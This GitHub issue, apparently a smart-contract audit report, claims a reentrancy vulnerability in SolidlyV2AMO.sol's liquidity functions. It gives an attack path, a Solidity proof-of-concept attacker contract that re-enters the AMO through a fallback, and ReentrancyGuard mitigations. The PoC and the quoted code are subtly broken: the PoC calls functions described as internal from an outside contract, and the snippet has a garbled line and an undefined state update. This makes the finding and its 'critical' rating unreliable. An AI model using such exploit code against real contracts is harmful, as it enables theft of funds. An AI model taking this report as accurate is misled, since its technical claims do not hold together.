Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Reentrancy Vulnerability in Liquidity Management Functions Enables Unauthorized State Manipulation #4

Open
CipherHawk0 opened this issue Oct 14, 2024 · 0 comments

Comments

@CipherHawk0
Copy link

Summary

The absence of reentrancy guards in liquidity management functions will cause a critical security breach for the protocol's liquidity pools as an attacker can exploit external calls to re-enter and manipulate contract state, leading to unauthorized token minting and liquidity manipulation.

Root Cause

In SolidlyV2AMO.sol, the internal functions _mintAndSellBoost, _addLiquidity, and _unfarmBuyBurn perform external calls to the router and gauge contracts without implementing reentrancy protection mechanisms such as the nonReentrant modifier from OpenZeppelin's ReentrancyGuard.

Relevant Code Snippet:

function _mintAndSellBoost(
    uint256 boostAmount,
    uint256 minUsdAmountOut,
    uint256 deadline
) internal override returns (uint256 boostAmountIn, uint256 usdAmountOut) {
    // External call to mint
    IMinter(boostMinter).protocolMint(address(this), boostAmount);
    // External call to approve and swap
    IERC20Upgradeable(boost).approve(router, boostAmount);
    ISolidlyRouter.route0;
    routes[0] = ISolidlyRouter.route(boost, usd, true);
    uint256[] memory amounts = ISolidlyRouter(router).swapExactTokensForTokens(
        boostAmount,
        minUsdAmountOut,
        routes,
        address(this),
        deadline
    );
    // State updates
    self.vault.config.lpBalance += lp;
}

Internal pre-conditions

  1. An account with the necessary privileges (e.g., internal functions being called by authorized roles) triggers a liquidity management function like _mintAndSellBoost.

  2. The router or gauge contracts are malicious or compromised to execute a reentrant call.

External pre-conditions

  1. The router contract allows execution of fallback functions that can call back into the SolidlyV2AMO contract.

  2. The external calls to swapExactTokensForTokens and addLiquidity are not protected against reentrancy.

Attack Path

  1. The attacker deploys a malicious contract that interacts with the SolidlyV2AMO contract.

  2. The attacker calls a function that triggers an external call to the router contract, such as _mintAndSellBoost.

  3. During the execution of the external call (swapExactTokensForTokens), the router contract calls back into the SolidlyV2AMO contract via a fallback or callback function.

  4. The attacker’s contract re-enters the SolidlyV2AMO contract’s liquidity function, allowing manipulation of state variables before the original function completes.

  5. The attacker can mint unauthorized BOOST tokens or manipulate liquidity pool balances, causing financial loss and destabilizing the protocol.

Impact

The protocol suffers a critical security breach where an attacker can manipulate the contract’s state, leading to unauthorized minting of BOOST tokens, draining of liquidity pools, and overall destabilization of the BOOST peg, resulting in significant financial losses and loss of user trust.

PoC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import "./SolidlyV2AMO.sol";

contract AttackerContract {
    SolidlyV2AMO amo;
    bool public attackInitiated = false;

    constructor(address amoAddress) {
        amo = SolidlyV2AMO(amoAddress);
    }

    // Fallback function to re-enter the AMO contract
    fallback() external {
        if (!attackInitiated) {
            attackInitiated = true;
            // Re-enter the _addLiquidity function with malicious parameters
            amo._addLiquidity(
                1e18,   // usdAmount
                0,      // minBoostSpend
                0,      // minUsdSpend
                block.timestamp + 100
            );
        }
    }

    function attack() external {
        // Initiate the attack by calling _mintAndSellBoost
        amo._mintAndSellBoost(
            1e18,               // boostAmount
            1e16,               // minUsdAmountOut
            block.timestamp + 100 // deadline
        );
    }
}

Mitigation

  1. Implement Reentrancy Guards:

Integrate OpenZeppelin's ReentrancyGuard into the SolidlyV2AMO contract and apply the nonReentrant modifier to all functions that perform external calls.

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SolidlyV2AMO is ISolidlyV2AMO, MasterAMO, ReentrancyGuard {
    // ... existing code ...

    function _mintAndSellBoost(
        uint256 boostAmount,
        uint256 minUsdAmountOut,
        uint256 deadline
    ) internal override nonReentrant returns (uint256 boostAmountIn, uint256 usdAmountOut) {
        // Function logic
    }

    function _addLiquidity(
        uint256 usdAmount,
        uint256 minBoostSpend,
        uint256 minUsdSpend,
        uint256 deadline
    ) internal override nonReentrant returns (uint256 boostSpent, uint256 usdSpent, uint256 liquidity) {
        // Function logic
    }

    function _unfarmBuyBurn(
        uint256 liquidity,
        uint256 minBoostRemove,
        uint256 minUsdRemove,
        uint256 minBoostAmountOut,
        uint256 deadline
    )
        internal
        override
        nonReentrant
        returns (uint256 boostRemoved, uint256 usdRemoved, uint256 usdAmountIn, uint256 boostAmountOut)
    {
        // Function logic
    }
}

  1. Adopt Checks-Effects-Interactions Pattern:

Ensure that all state changes are made before performing external calls to prevent reentrancy.

  1. Limit External Call Scope:

Minimize the number of external calls within critical functions to reduce attack surfaces.

  1. Use Function Modifiers for Critical Functions:

Apply additional security measures such as onlyOwner or specific role checks where necessary.

  1. Regular Security Audits:

Conduct thorough security audits and penetration testing to identify and remediate vulnerabilities.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant